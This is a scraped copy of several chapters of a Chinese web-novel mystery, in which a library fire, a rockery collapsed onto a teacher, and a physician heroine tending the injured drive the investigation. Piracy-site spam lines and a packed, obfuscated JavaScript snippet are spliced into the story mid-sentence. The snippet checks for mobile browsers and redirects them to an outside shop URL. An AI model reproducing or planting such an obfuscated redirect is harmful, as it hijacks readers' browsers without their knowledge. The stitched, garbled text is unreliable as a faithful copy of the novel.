十安听令而去裴晏见外头天色已晚看向姜离道:“我再带人去付怀瑾二人住处看看时辰不早了 宁珏也忙不迭道:“是啊瞧你脸色不好。” 姜离下午只用了两口点心这一整日也确实累极见宁珏紧跟在裴晏身边她便也应了好“那我先去文华阁给老先生复诊之后再回幽篁馆。” 裴晏送出两步姜离带着怀夕出讲堂往北去到文华阁之时方伯樘尚未歇下姜离为其诊脉又调整了方子里的一味药方才告辞方青晔感激不已忙让张穗儿执灯相送。 待出院门三人沿着青石小径往北走没几步便见藏书楼三楼上还亮着一盏灯怀夕惊讶道:“咦怎么这么晚了还有人?” 张穗儿歪头想了想“只怕是孔昱升——” 怀夕恍然“没错他下午说昨夜便在楼里看书看到了子时前后才回去。” 张穗儿道:“这位孔昱升是个奇人他重经史文赋一手骈文写的极好时而出一些篇章连几位先生都自愧不如且整个书院只有他最爱看书这楼中藏书千册只怕都快被他看完了老先生和院监都喜欢勤勉的学生便也由着他们了。” 姜离朝三楼望去隔着紧闭的窗扇也瞧不出楼上是何人遂也未多言。 待回了幽 篁馆张穗儿放下灯盏后道:“姑娘稍后片刻我去给姑娘取些点心热水来时辰太晚了姑娘待会儿早些歇下。” 姜离道谢待张穗儿离开她一脸凝重地坐在了西窗之下怀夕见状一边收拾床铺一边道:“麟州书院的四人两个死在彬州书院又两个死在长安书院若凶手是同一人那真可谓是千里追杀了但若说不是凶手又为何用木十字吸引袁焱……这至少说明当年事发之时凶手就在彬州……” 铺好床铺怀夕又转身收拾衣架上姜离的斗篷“不对只怕不止毕竟死的这四个人是好友凶手显然是赶尽杀绝的意思——” 话音落定 说全网首发无弹窗免费阅读qiexs?(请来企鹅小 说 看最新章节 完整章节)怀夕不知看到什么忽然用力地拍起斗篷来。 姜离见状起身来“怎么了?” 怀夕将斗篷示意给姜离看“奴婢太粗心了昨夜把医箱和咱们的斗篷都挂在了一处那医箱的布带把姑娘的斗篷压皱了好几处都皱了这可是上好的蜀锦。” 见她小脸皱作一团姜离无奈点了点她额头又拉着她一同落座“行了不是什么大事皱了而已能穿便是了你也歇会儿。” 怀夕瘪嘴仍一点点地拉展斗篷褶皱处很快又不知想起什么她道:“姑娘没想到宁公子也来了奴婢瞧他对姑娘越发殷勤了……” 姜离还在想付怀瑾四人之死一听此言无奈道:“何处殷勤?他如今在拱卫司当值对这些差事十分热衷与我可无干系不过是将我当做恩人罢了。” 怀夕轻哼道:“他知道姑娘是恩人就好来日就指望他呢。” 姜离闻言不由看向得真楼方向“江老先生就在得真楼只是暂时还没有好机会与他说话只能等这案子了了由裴晏出面。” 怀夕也愁眉苦脸起来“可这案子和麟州有关万一国子监那位夫子不知情袁家的人也不开口那就难办了咱们也在山上待着?” 姜离也为此忧心主仆二人正说着话张穗儿与龚嫂一起到了幽篁馆张穗儿提来了热水龚嫂则提着食盒待进了门龚嫂殷切道:“时辰晚了厨房那边也没什么好东西了这些点心是云嫂做的请姑娘先垫一垫。” 姜离忙起身谢礼张穗儿放下热水道:“姑娘早些歇下裴世子他们还在学舍那边只怕 还要忙一阵子,您不必多等。” 姜离笑着应是,又亲自将二人送出门。 眼下已过亥时,二人同用了些糕点,怀夕便备好热水侍候姜离梳洗,姜离收好食盒自西窗下起身,刚要转身,眼风却滑过榻上斗篷。 适才怀夕在此摆弄许久,可发皱的丝绸仍未复原,她失笑一瞬,正待拿起斗篷重新挂去衣架上,目光却落在几处褶皱重叠之处。 她秀眉拧起,定睛看褶皱片刻,面色倏地一变。 怀夕在铜盆处等着,却见她家姑娘似呆了主,连忙过来道:“怎么了姑娘?” 姜离眯起眸子,紧声道:“我应该知道付怀瑾冬袄上那些乱糟糟的褶皱是怎么来的了,不梳洗了,我们去找裴晏——” 姜离抓起斗篷便走,怀夕愕然道:“太晚了吧姑娘——”- 自校经堂与大讲堂方向赶到学舍之时,裴晏与宁珏还在付怀瑾屋内,姜离气喘吁吁行至门口时,便见屋内所有家具器物已被复原。 二人见着她皆是大惊,裴晏上前来,“你怎来了?” 姜离目光雪亮地望着屋内摆设,“我来的正好,你们刚好把屋子复原了!” 裴晏与宁珏不解其意,姜离却绕过屏风走向了付怀瑾的箱笼,“我知道付怀瑾那两件冬袄上的褶皱是如何来的了——” 她利落地打开箱笼,很快将那两件冬袄拿出,又将冬袄一展道:“前日我们搜出冬袄之时,发现这袄子前后数处褶皱,当时我们想这样名贵的衣料,莫不是付怀瑾摔过还是被人揪扯过,可直到刚才我的斗篷被医箱压皱了,我方想到了一个可能。” 夜里山中寒凉,姜离正披着自己的斗篷而来,她先提起一角示意褶皱处,又转过身来,看似十分随意地将付怀瑾的冬袄卷折了起来,“你们来看,若他的冬袄当时是如此卷起来的,这些褶皱是否重合在一处?” 裴晏若有所思,宁珏道:“然后呢?” 姜离目光一转,先看向床头放着的木制衣架,上前比划道:“若他的冬袄是这样搭在衣架之上,再将什么重物挂在冬袄之上,因重物之力,便会使得这冬袄表面的绸缎形变褶皱,而如果这重物上下动作,便会使得褶皱处勾丝——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜离和宁珏瞧见浓烟也忙转身下楼,刚到一楼,楼上楼下的学子们都被惊动,众人一边穿衣一边涌出学舍,纷纷喊着“走水、救火”,刹那功夫,本来快陷入沉睡的学舍如水入油锅,纷杂的人潮与随风而起的火势一起触目惊心起来。 “是藏书楼着火?有人看见孔昱升了吗 ?” “对啊孔昱升回来了吗!” “他不会还在里面吧?!” 队伍里响起的喝问声令姜离心惊她也记起来回幽篁馆时藏书楼内的灯盏还亮着前头裴晏也听见了此言愈发加快了脚步待一行人急奔至德音楼时便见葛宏第一个冲了出来他惊吼道:“好端端怎么着火了!那可是藏书楼!快喊人救火!” 他比裴晏跑的还快等最前几人过数处院阁至藏书楼时便见楼内已是火光浓四冒负责看守此地的斋夫光着脚满脸黑灰只穿着一件内衫跑了出来! “这是怎么回事?!怎么着火了!” “咳咳葛教头我也不知道啊我刚才都已经躺下迷糊了是浓烟把我呛醒的!”说至此他猛然想起来道:“楼里还有人!孔昱升还在里头我睡下之前和他说过让他离开之时叫醒我便是可他没叫我那他一定还在里头!” 姜离一路小跑到跟前时正听见这斋夫之言不远处刺目的火光迎风而起热浪夹裹着黑灰亦令她们面庞烧灼呼吸不畅姜离下意识攥紧了裙摆。 裴晏在前利落道“九思组织救火!” 九思利落应下一边指挥武卫一边安排涌过来的学子们这些学生虽多是年少但大都满了十五岁多少有些力气众学子也知藏书楼何等紧要一时无论贫家子弟还是富贵公子都挽起袖子去打水救火! 藏书楼共有四层眼下火势从一楼而起火舌已窜上了二楼窗沿浓烟更已从三楼东侧的窗扇缝隙中冒了出来隐隐的似有人声在楼内喊叫。 “不好!孔昱升真在里头!孔昱升!你在何处?!” 葛宏情急地朝楼内大喊然而火舌上窜极快楼内也再无人声回应四层华美庄严的小楼片刻间便被烟雾火光包围。 这时方青晔和林牧之等书院夫子们一脸惊慌地跑了过来他们显然已经入睡未想到这时生出如此变故好几人的衣衫都不够齐整! 不等方青晔问话裴晏快速道:“火是从东面而起的我记得藏书楼西面有一处侧门那侧门可能打开?!” 林牧之反应极快“钥匙在我房中!我这就去取!” 他说着转身便跑此处虽离德音楼不算远 不少功夫,眼见火势越来越盛,裴晏没时间再等,一把将外袍退下扔给十安。 十安知道他要做什么,“公子,让小人去—— 裴晏头也不回道:“没人比我熟悉楼内布局! 眼见裴晏大步走向火光大冒的楼门,姜离不知怎么心头一紧,她忍不住往前半步,唤道:“裴晏,太险—— 宁珏看呆了,此刻也道:“师兄,这等小楼最易燃爆,还是等火势小一些! 裴晏身形似有一滞,脚步却无半分停留,只撂下一句“等着便冲进了火场之中,方青晔瞪大眸子,闻声赶来的薛琦等人也是一阵急呼,葛宏在旁跺了跺脚,顺手提起身旁之人手中水桶往自己身上一倒,也大步冲了进去! “鹤臣—— “葛宏—— 方青晔哑声大喊,身形都摇摇欲坠,而这时,只听“轰然一声,楼内不知何处发生燃爆,二楼也冒出了大片火光。 方青晔颤声道:“快快,快救火!得真楼也有水井! 九思和十安急迫不已,虽有救火经验,却生怕楼内再有燃爆,姜离定定站在楼前,眼前的火光似乎与多年前重叠,直令她一颗心紧紧揪了起来,水桶等器物有限,她帮不上扑火的忙,只急声道:“医箱,去拿医箱! 楼内火光刺目,却看不清任何人影,浓烟缭绕中,似有书架倒地的轰隆声。 九思寻到了起火点,命人从东面扑救,方青晔与其他斋夫学子们则从西面扬水扬土,然而时间一点点流逝,一楼的火光虽小了些许,二楼却仍无扑灭迹象,而葛宏与裴晏不知是否寻到了孔昱升,竟无半点儿出来的迹象。 姜离双手紧攥,齿关紧咬,掌心更溢出层层冷汗,就在她紧张到呼吸都窒痛起来时,只听“啪的一声巨响,藏书楼三楼紧闭的木窗飞出,紧接着,裴晏与葛宏架着人事不省的孔昱升,一起从三楼飞跃而下—— “出来了!人救出来了! “师兄!“鹤臣—— 等候着的众人一拥而上,姜离反而慢了半步,她先看见了满身黑灰并有数处烧伤的孔昱升,可走到近前,目光却瞟到了裴晏焦黑的右后肩,那样的衣衫焦糊之状,显然裴晏自己也受了伤。 四目相对一瞬,裴晏道:“先救他。 第 156 章 拒绝疗伤 姜离至君子湖东时,回廊内外灯火通明,林牧之满身是血已失去意识。 看他身旁横七竖八的太湖石,姜离便明白出了何事,立刻近前道:“先莫要搬动,待我看看伤到了何处——” 她蹲下身来,一边解林牧之衣襟一边道:“孔昱升吸入了大量烟气,口鼻喉头皆有灼伤,身上还有烧伤三处,我做了简单处理开了方子,包扎交给了齐先生和张伯,他虽暂无性命之忧,但何时能醒来尚不确定。” 姜离利落地告知孔昱升此刻情形,裴晏应一声,九思这时从南面跑了过来,“公子,已经带人搜了一遍,没发现任何可疑之人,厨房那边来来往往的,也是去水井里头打水的,大家忙作一团,根本没有看见任何外人。” 裴晏剑眉紧拧,方青晔眼眶微红道:“可牧之不会看错的,他说看到了什么人,这个人一定不是书院之人,一定是闯入了外人,说不定就是谋害付怀瑾和袁焱的凶手!是不是已经逃了——” 九思忙道:“救火的时候,两处大门的斋夫是锁了门来的,其他地方没发现有人闯入的痕迹,非要说何处有古怪,那只能是这里!” 君子湖以东的太湖石假山高丈余,嶙峋怪石次第堆叠,中设门洞,横跨青石小径,一边邻君子湖,一边连接着回廊与外墙,营造出了一副山水苍翠,别有洞天之感,如今塌砸在林牧之身上的是君子湖一侧的十多块山石,外墙一侧则尚完好,若有人攀爬而上,仍然能由此处攀爬出去。 裴晏凝眸道:“倘若今夜的凶手与谋害付怀瑾二人的是同一人,那我不倾向是外来之人,此人一定是书院内之人,只是为了引诱林牧之来此,露出了真面目,更有甚至,林牧之所见之‘故人’,也不一定就是真的故人。” 宁珏道:“师兄的意思是,林牧之是被人诱哄过来的?他刚才出来本是为了取钥匙,就这么片刻功夫,凶手是怎么做到的?” 宁珏所疑,也是在场众人之疑,裴晏这时看向姜离,便见姜离解开林牧之衣衫,正一处处检查其胸腹五脏,而在林牧之清瘦的左侧腹部处,两块儿尤其明显的青紫之色格外触目惊心,再严重之地,便是他那条已现弯折之态的左腿。 “重伤在腹部与左腿,初步看是胃脏受损方而吐血,眼下还有施救希望,立刻把人抬去屋内 安置,小心些,怀夕,你按照断血汤的方子去和何叔拿药,再多加三钱黄连,煎好后立刻送来—— 她一声令下,已摇摇欲坠的方青晔立刻生出希望,“快,帮忙抬人,小心些! 九思和宁珏上前帮忙,轻手轻脚地将林牧之抬回了德音楼。 德音楼为两层小院,林牧之住在一楼最西面,众人点灯进门,便见屋内布置雅致,西窗下的矮几上放着成摞书册,案几对面的书案上文房之物齐齐整整,做为隔断的多宝阁上还放着数种乐器。 待将林牧之放在床榻上,姜离赶忙打开针囊为其施针。 裴晏近前道:“有几分把握? 姜离头也不回道:“若是胃脏破裂,那便再无一分希望,若只是肠胃受损出血,只要今夜能止住血,人能醒来,便还有活命的可能,我先为其施针止血。 说话间,姜离已取出银针下针,裴晏只见她行云流水落下七针,等药的功夫,姜离又一把掀起林牧之袍摆为其医腿,便见其左腿一片血肉模糊,伤口最深处更可见骨,饶是宁珏闯荡江湖见多识广,此刻也禁不住一阵背脊发凉。 裴晏道:“何叔本在药房内准备治烧伤之药,却忽然听见君子湖方向轰然一声,他觉得不对,便绕去了回廊探看,随即发现假山倒塌,林牧之被压石下,从听见声音到发现林牧之,只有不到百步距离,却没有看见任何人影。 书院的药房在厨房院以北,距离君子湖长廊极近,何叔去的已经够快,却未看见凶手,这更说明了凶手十分熟悉书院地形。 姜离听得点头,裴晏便道:“这里交给你和方院监。 姜离正清理伤口,沾的满手是血,闻言回头道:“你的伤—— 裴晏瞟了一眼自己肩头:“不碍事。 他说完便走,宁珏看看姜离,再看看裴晏,到底是跟了上去,待出了门,他也担心道:“师兄,真的没事吗?不急在这一时片刻! 裴晏摇头,“无碍,先去看看假山如何塌的!- 再回到假山处,书院打理园景的两个花匠已被叫到了跟前。 九思禀告道:“公子,这假山当初是去请了外头的匠人来搭建的,他们二人懂一些技法,适才看了之后,说是一根立柱被破坏了。 裴 晏看向二人花匠们忙上前来行礼裴晏指着君子湖一侧道:“仔细说说是如何被破坏的。” 二人满脸惊惶地互视一眼当首一人道:“回禀大人这假山做了一段门洞其底座是用了‘三安’之法一安在外墙两安在君子湖湖畔适才就是这君子湖一侧最细的柱脚塌了连带着顶上的叠石没了支撑一起垮塌下来林先生只怕当时刚走到这石洞之下根本来不及反应便被砸倒在地而这最细的一摞石柱是用两大块竖着的太湖石彼此咬合之后搭建起来的就是这两块——” 花匠指着地上两块沾了血的石头“这座假山极少用黏土都是师傅们在石头上打出榫卯一样的卡位全用石头拼叠用师傅们的说法讲究‘安、连、接、斗、挎、拼、悬、剑、卡、垂’十字诀底座几块石头承重其上是用碎石拼接因此这底座一塌上面的都保不住小人看了底柱接口位发现本来严丝合缝的接口处不知怎么断裂开来且这断面之上有新的凿痕其上还沾了些黏土。” 裴晏凛然道:“是有人故意凿断了这石柱?” 花匠心有余悸地点头“没错且这人只怕懂垒石的技法所凿之处正是在石柱内侧正是卡位受力最重之处但小人也想不明白一来这假山已经落成多年太湖石表面长有苔藓一般人是瞧不出何处为拼接大部分人来看都只以为是浑然天成的石柱二来要凿开此处需得工具再加上太湖石坚硬 宁珏在旁道:“也就是说此人得懂园林营造之法还得力气极大得有工具?” 花匠点头“让小人下手小人都不敢轻易凿石且下午小人们来湖边除草之时还看到这假山好端端的都不知凶手是何时来凿断的。” 莫说花匠便是昨日清晨他们来此查看袁焱离开书院踪迹之时这假山也是好端端的就这么一个白天过去这假山竟塌了。 裴晏目光凌厉地扫量周围这时十安大步而来“公子火灭的差不多了齐先生正在阻止大家收拾藏书楼一楼烧完了二楼也损毁大半三楼和四楼烟气熏得太过但箱笼内的书籍都还算完好尤其陛下送来的那一套古册基本无损。小人问了几个帮忙 的学子,他们说孔昱升每天晚上都去看书,他们已习以为常了,而藏书楼多年来一直在防火,从未起火过,而后小人到了东面窗下,在灰烬中发现了此物—— 十安说着打开袖中丝帕,便见丝帕内包裹着一块儿烧至半融的铁制之物,“小人已经问过,起火点是一楼的茶室,从前是山长和前来拜会的宾客们清谈的地方,里头摆着木制的家具器物和文房四宝,还有煮茶的瓷器,近日茶室没有用过,炉内也未生火过,绝不可能自燃起火,小人还让他认了此物,他说这东西有些像壶嘴,茶室之中倒是有一个铁壶,我们也找到了,但那铁壶的壶嘴还在上头。 裴晏接过此物仔细看过,很快道:“不一定是壶嘴,但既然不是藏书楼之物,那便一定和起火有关,这场火多半是人为—— 宁珏闻言沉声问:“人为?若是人为?那是想做什么? “今夜的藏书楼内都有什么? “有孔昱升,还有藏书。宁珏眼皮一跳,道:“难道有人想杀孔昱升?亦或是……想毁了里头的书册? 裴晏眼底闪过几分寒意,“要等孔昱升醒来才知了,他人安置在何处? 十安道:“安置在文华阁张伯那里的,说他好方便照顾。 裴晏微微颔首,又扫了一眼这假山之下的案发现场,“趁着人都在藏书楼,立刻去查问今日有谁来过此地,还有,能凿石的工具在何处? 这后一问是在问花匠,他们忙道:“就在厨房之后的杂物房内! 裴晏立刻道:“带路——- 厨房院距离学舍不算太远,方便学生夫子们日常用膳,大部分斋夫、杂工和厨娘们,则住在厨房后的一排平房中,一应器具也都堆放在北面的杂物房内。 要通向此处,一来可走厨房院外的巷道,二来厨房的后门便通向这片平房,一行人来此时,云嫂和龚嫂正灰头土脸地在房前井中打水,适才为了救火,院中所有杂役都一起出动,眼下面上身上皆沾满了黑灰。 见裴晏来了,二人一脸惊讶看来,那当首的花匠道:“我们去杂物房看看。 云嫂和龚嫂对视一眼,龚嫂擦着手上前,“是需要什么东西不成? 花匠没多说,只利落地推开门,见门没上锁,裴晏道:“平日 里不上锁?” 花匠应是,龚嫂也跟来道:“平日里这里进进出出拿东西的人不少,这些刀斧竹筐之类的东西也不值钱,便从来不锁门的。” 说着话,花匠进门果真拉出一个竹筐,竹筐内有锤子凿子、生锈的斧子等工器,他拿出凿子道:“没有丢,还在这里呢——” 裴晏接过凿子仔细看后,道:“这院子今日可离过人?有谁进出过此地?” 这时云嫂也凑了过来,几人面面相觑一瞬,龚嫂忧心道,“进出过的人可多了,这里头水桶罐子什么都有,我们也时常进来取用,离人的时候也多,好比用膳时,我们忙完了都守在饭堂给学生们分饭,等他们用完,我们又得收拾,前后便有一个多时辰,他们这些守门的守门,打扫的打扫,每一日也就早晚在屋子里待着。” “也就是说,若有人偷拿了这些器物,你们也不知晓?” 裴晏问完,龚嫂更生惶恐,“向来是这样的,怎么了?有人偷了凿子?” 他们只知林牧之被假山砸倒,尚不知假山因何而倒,裴晏目光敏锐地扫过众人,先让九思将这可疑凶器收走,待出了杂物房,他又看向这片儿平房,“你们平日里是如何住的?” 龚嫂指着南面的小院道,“我们夫妻住那里,云嫂她们三个睡在西屋,不过于嫂家里近,她有时候回家睡,他们其他人也都是三四人一间屋子,前日便来人问过的,我们白日里脚不沾地,到了晚上倒头便睡,且我们在书院最短的也半年了,没有谁不安分。” 裴晏点了点头,“这两日不安稳,你们夜里锁好门。” 龚嫂和云嫂皆满脸惶恐,连忙应好。- 再回德音楼,便见姜离已经取了针,此刻正将乌黑的汤药一点点送入林牧之口中,方青晔和齐济昌焦急地等在一旁,面上的灰土都来不及处理。 见裴晏回来,方青晔立刻上前,“如何?” 裴晏目光落在姜离背脊,道:“是人为凿断了假山的一方石柱,我们已经去杂物房取来了书院中的工器,但不确定凶手是否用了此物,且那杂物房无人看守,目前没有找到有效证据,依旧要从所有人不在场证明问起。” 方青晔长叹一声,“怎么会如此啊!好端端的藏书楼着了火,牧之又出了事,叔父那边知道着火,急 得心口痛饮了药才安稳了牧之的事我还不敢说怎么会!怎么会有人想到袭击牧之?!和谋害付怀瑾、袁焱的是否为同一人?” 裴晏颔首:“极有可能其实晚间我们已经请林先生去问过麟州书院旧事但他不肯坦白若他愿意开口今夜凶手或许不会这样容易得逞。” 方青晔不敢置信“麟州书院?!怎么会和麟州书院有关?” 方青晔与齐济昌皆是书院老人裴晏便也不加隐瞒地将东方嘉树二人之死道来方青晔听得面色大变“凶手都是同一人?!这……” 方青晔只觉自己听到了什么天方夜谭裴晏这时则快步走去床边。 见姜离喂完了药忙问道:“如何?” 姜离面色极其沉重“看似血止住了但还是无法确定其脏腑伤到何种程度 说全网首发无弹窗免费阅读qiexs⒙(请来企鹅小 说 看最新章节 完整章节)今夜要把这药分三次喂下若他天亮之前能醒来那便算保住了性命若他一直昏迷不醒脏腑仍在出血最多坚持两日便要殒命。” 方青晔和齐济昌一阵哀叹裴晏定然道:“那便等天亮。” 话音刚落十安快步进了门“公子适才小人带着人问了一遍学生之中仅只有十二人在白天整日里都互有人证且是无疑的其他人或多或少都单独离开过又或者本就关系亲近证词尚且存疑。” 无法互为人证杂物房又无看守这便是说谁都有可能行凶裴晏看了一眼天色见已近丑时便道:“时辰太晚了把名单记录下来明日再问先保证其他人的安全让他们回学舍歇下再安排人巡夜。” 十安应是而去方青晔一脸焦灼地看向裴晏后肩伤势“鹤臣火既然灭了又这么晚了搜查盘问都不便你不若先去处理一下伤势其他宾客我都安排歇下了如今闹得人心惶惶也顾不上周全了大家的安危最要紧!” 不等裴晏答话他又看向姜离“薛姑娘烦你帮鹤臣看看伤势这里暂交给我们便是喂药我们总是会的你们都歇下有什么变故我让穗儿去请你们。” 宁珏也道:“是啊师兄好歹处理一下伤烧伤可不是闹着玩的!” 事已至此裴晏也不再推辞“好那我们先回幽篁馆宁珏今夜歇在幽篁馆东厢便是我留两人在此若有不妥速来传话。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233894|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方青晔连声应好,忙不迭将几人送出门。 待出德音楼,宁珏看着裴晏肩头道:“师兄,你怎一点儿都不怕,那藏书楼上下密闭,里头尽是书册和木制家具,倘若火势控制不住,那可真是神仙难救,我和薛泠在外头担心死了——” 裴晏看姜离一眼,只道:“我心中有数。” 他说着抬了抬肩头,痛感更甚的同时,那焦糊的衣衫也扯出一道破口。 姜离目光往他伤处扫过,先问道:“查的如何?” 裴晏将人为纵火之疑道来,“眼下难辨那铁器是何物,若查到了来处,当能确定纵火之人身份,只是不明孔昱升因何遭人暗算。” 宁珏听至此,心念一转道:“等等,难道说……是同一个凶手纵火?他想引得骚乱之后,借此机会诱林牧之去假山之下杀人?” 姜离摇头,“但凶手怎么知道林牧之要回去取钥匙?林牧之辅助方院监管理书院事务,按理这样大的事,他一定会守在藏书楼之外才是。” 宁珏抓了抓脑袋,很快表示认同,“没错,你说的有理。” 姜离闻言一默,宁珏又道:“你怎么什么伤都会看?适才给孔昱升治伤,给林牧之治伤,手上都利落至极,真是奇了——” 姜离简直不知如何答话,眼看着到了幽篁馆,刚进院门她便道:“怀夕,医箱给我,你去端些净水来——” 烧伤最紧要的便是清理伤口,姜离想也没想,便提着医箱往裴晏的上房走去,然而刚走出两步,裴晏忽然道:“这点儿小伤待会儿让十安处置便是。” 姜离倏地顿足,很是意外地望向裴晏。 四目相对,裴晏更认真道:“时辰太晚,你回去歇下。” 他忽然如此,连宁珏都未想到,他看看裴晏,再看看姜离,犹豫道:“师兄,十安习武之人,再如何会疗伤也比不上薛泠啊,不然还是——” 此言未完,裴晏忽然朝他刮来一眼,宁珏意识到裴晏心思已定,只好道:“好吧好吧,那我也来帮忙好了——” “你也去歇下。”裴晏不容置疑。 “啊?”这下宁珏更想不通了,“我不困啊,我年轻,我先帮你清理一下不成吗?谁知十安何时过来?师兄你——” 宁珏很想帮忙,奈何裴晏面 不改色,显然没有商量的余地。 几人正僵持着,院外传来脚步声,是十安和九思一同跑了过来,宁珏趁势道:“你们来的正好,你们家公子不许我们帮忙疗伤,十安,我怎么不知你会医术? 九思会意,十安则更为机敏,立刻近前道:“公子不喜麻烦人,宁公子,薛姑娘,二位歇下吧,公子的伤势交给小人便是—— 他说完上前开门点灯一气呵成,又催促道:“公子—— 姜离目光复杂,宁珏也尤不死心,裴晏有些无奈,只得硬下心肠撂下一句“都去歇着便转身进了上房。 上房门一开一合,裴晏竟是真的拒绝了帮忙,姜离和宁珏皆满脸不解,宁珏更小声道:“师兄他又不是女子,总不会是在害羞吧?你也就罢了,怎么连我也回避? 九思见二人站着没动,轻咳一声道:“多谢二位牵挂我家公子,说起来我家公子的确有这毛病,莫说二位了,便是小人他都不让近身,十安比小人细心,但凡有什么必须贴身之事,也都是十安去做,请二位莫要生公子的气。 若说片刻之前还是惊讶,此刻的姜离则有些匪夷所思了,她看向九思道:“连你也不能近身?那平日是谁伺候沐浴? 九思赔笑道:“日常起居公子无需我们伺候的,万一要近身,也都是十安去做,小人其实不算近侍,应当算公子的护卫。 姜离还是不明白,她记得,当年就在这幽篁馆之中,她亲眼见十安和九思自长安来,会近身侍候裴晏起居,怎么几年过去就变了? 她忍不住问:“这是何时之事? 九思想起当年,也有几分不明道:“其实也就是六年前的事,公子那时从师门回来便改了性子,您别介意,这点儿伤十安应付得来。 裴晏已进房中片刻,姜离心中虽有些憋气,可也不会上赶着给人疗伤,于是将医箱紧紧一握,大步往西厢而去,“既然如此,那我便不管了,都歇下吧。 待进屋放下医箱,姜离心底那团无名郁闷蹭蹭冒了出来,“真是奇了,我好心他却不领情……如今有必要这般忌讳? 怀夕也觉得古怪,又替裴晏找补道:“裴大人素来端方,或许是忌惮男女大防怕麻烦了姑娘? 姜离不禁冷笑,“男女大防?他当 年——” 当年为了给裴晏治伤她该看的都看了如今年岁虽更长但他的伤在后肩连袍衫都无需褪下有什么需要避讳男女大防的?何况他伤的也不轻怎地如此扭捏起来? 见她面色不快怀夕又道:“亦或是他身上有何胎记不愿给人瞧见?” 姜离闻言又是一嗤裴晏上半身不仅没有胎记在她当年勤勤恳恳的医治之下后来可谓是白玉一般无暇又有什么好怕人看的? 姜离越想越怪那股子气闷亦难消但忽然九思所言在她脑海中浮现她怔愣起来品出了另一番古怪 作者有话要说 我来啦~ 给小裴求求营养液呀~ 相信大家猜到了为什么不愿意让小姜治伤tt ———————— 感谢在2024-07-2903:28:43~2024-08-0503:28:00期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出深水鱼雷的小天使:1818188281个; 感谢投出地雷的小天使:雲公主4个;胡萝卜煮猫、60743359、司1个; 感谢灌溉营养液的小天使:蒲公英60瓶;溪月54瓶;雯君53瓶;大大的燕子36瓶;暖暖、Anne836219、雪倫30瓶;猫萝的苜蓿花、给我来一打阳光、十年暴富、乐在其中、guoguo20瓶;嘻嘻哈哈15瓶;水妍雪13瓶;一颗稞稞11瓶;陌上花似锦、澄江、鲁迅曾经说过、宁的微笑、静影沉碧、Hermit轶萌、四季春無糖去冰、心如止水、7279494310瓶;Luise7瓶;Amandasdu6瓶;Mrs欢乐多、28507627、叶家大姐大5瓶;闲夏、贰贰叁4瓶;Amychen、Phenix、哭唧唧、不思议、茉莉、沙隆霸笔3瓶;姚兰、se7ven、戴珍珠耳环的水镜、我不是会员、方块笛子、寻找晴天明、639902512瓶;牛奶、殷灵、绿肥红廋、鸢栀cissy、71365260、73243986、子木、温霜降、21700696、小妖1瓶; 非常感谢大家对我的支持我会继续努力的! 第 157 章 书院虐杀 林牧之与孔昱升尚未醒来,姜离夜里睡得也十分不安,还未至卯时便起了身,这边厢灯盏刚亮起来,怀夕便在窗前道:“姑娘,裴大人那边好像已经走了。” 姜离默了默,“随他去罢——” 天色尚且黑着,山间凉风亦是寒凉,姜离披上斗篷,怀夕提着灯盏,二人一同往德音楼而去。 待到了院门之外,便见九思在外与两个武卫说着什么,一见她便朝里头喊道,“公子,薛姑娘来了——” 二人入林牧之厢房时裴晏正迎出来,姜离往他肩头扫一眼,自顾绕过他去看林牧之。 裴晏见状苦笑一下,跟上来道:“已经喂了两次药,两刻钟之后是第三次,方院监和齐先生守了半夜,我已让他们歇下了,方院监说我们走后林牧之意识模糊了片刻,但还未开口又晕了过去,所幸第二次喂药还算顺利,他都喝下也未再吐血,如此看来,他是否暂时保住了性命?” 姜离正倾身请脉,“从脉象上看并无恶化,但也未见多少好转,还得看第三道药,孔昱升那边如何?” 裴晏摇头,“我已经去看过了,暂时未醒,药房的何叔懂些医理,夜半去照看了。” 姜离略放了心,裴晏便吩咐九思道:“去拿些热茶来。” 时辰尚早,书院内外安静的落针可闻,见姜离坐在床边高凳之上并不多言,裴晏近前道:“昨夜的伤并无大碍,你无需挂心。” 姜离面做茫然道:“伤?哦,比起林先生的伤,你的伤确实算不了什么。” 裴晏苦笑更甚,待九思提来热茶,又亲手斟茶给姜离端去。 姜离挑眉看他一眼,还是将茶盏接在掌心暖着,这么片刻,心中郁结便也散了几分,等喂药的功夫,她又想起昨夜几番险情,“孔昱升时常在藏书楼看书至深夜,这是众所周知之事,倘若凶手是想以此生乱加害林先生,那何必在藏书楼放火?藏书楼距离君子湖并不算远,他杀人之时若手脚慢了,岂非更容易路出破绽?” 裴晏也道:“我也做此想,且孔昱升与当年麟州之事无关,这场火起的诡异突然,或许还有别的隐情……” 话音落下,后窗之外忽然响起一阵风拂竹叶的沙沙声,姜离和裴晏同时朝窗外看去。 德音楼坐落在君子湖西侧,后窗 之外乃是君子湖畔种植的一小片竹林,而湖畔廊道入口在听泉轩南侧,出口在文华阁以北,如此形成回环。 忽然,姜离问道:“林先生取到钥匙了吗? 裴晏颔首,“没有,我们适才检查了他锁着的抽屉,发现抽屉已经被打开,但里头有钥匙多把,他一把也没有拿出来,让方院监辨认之后,藏书楼西门的钥匙正在其中,昨夜多半是刚打开抽屉,便见到了他口中的‘故人’。 这话莫名让姜离背脊一凉,“昨夜德音楼上下全体出动,这楼上楼下皆无人,可即便如此,听泉轩和文华阁却还有人慢了几步过来,凶手若存引诱之心,难道会大咧咧出现在德音楼院子里?林先生又如何去了假山? 裴晏往窗外几个武卫那看一眼,道:“昨夜我们挑明麟州书院之后,林牧之先去见了付宗源,之后曾去过校经堂一次—— 姜离有些意外,“去那里是为何? 